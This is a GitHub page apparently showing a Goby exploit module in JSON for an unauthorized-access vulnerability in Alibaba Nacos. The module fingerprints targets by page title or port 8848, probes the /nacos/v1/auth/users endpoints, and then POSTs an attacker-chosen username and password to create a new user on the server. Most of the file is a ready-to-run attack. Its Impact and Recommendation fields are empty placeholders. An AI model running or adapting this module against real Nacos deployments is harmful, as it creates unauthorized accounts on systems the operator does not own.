forked from k3vi-07/goby-exp
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathAlibaba Nacos 未授权访问漏洞.json
113 lines (113 loc) · 3.75 KB
/
Alibaba Nacos 未授权访问漏洞.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
{
"Name": "Alibaba Nacos 未授权访问漏洞",
"Level": "2",
"Tags": [
"未授权访问"
],
"GobyQuery": "(title=\"Nacos\" || title=\"HTTP Status 404 – Not Found\" || port=\"8848\")",
"Description": "2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。",
"Product": "Nacos <= 2.0.0-ALPHA.1",
"Homepage": "https://github.com/alibaba/nacos",
"Author": "PeiQi",
"Impact": "<p>🐏<br><br></p>",
"Recommandation": "<p>undefined</p>",
"References": [
"http://wiki.peiqi.techa"
],
"HasExp": true,
"ExpParams": [
{
"name": "User",
"type": "input",
"value": "PeiQi",
"show": ""
},
{
"name": "Pass",
"type": "input",
"value": "PeiQi",
"show": ""
},
{
"name": "Dir",
"type": "select",
"value": "/v1/auth/users,/nacos/v1/auth/users",
"show": ""
}
],
"ScanSteps": [
"OR",
{
"Request": {
"method": "GET",
"uri": "/nacos/v1/auth/users?",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "500",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "GET",
"uri": "/v1/auth/users?",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "500",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "{{{Dir}}}",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "username={{{User}}}&password={{{Pass}}}"
},
"SetVariable": [
"output|lastbody"
]
}
],
"PostTime": "2021-01-25 16:12:32",
"GobyVersion": "1.8.237"
}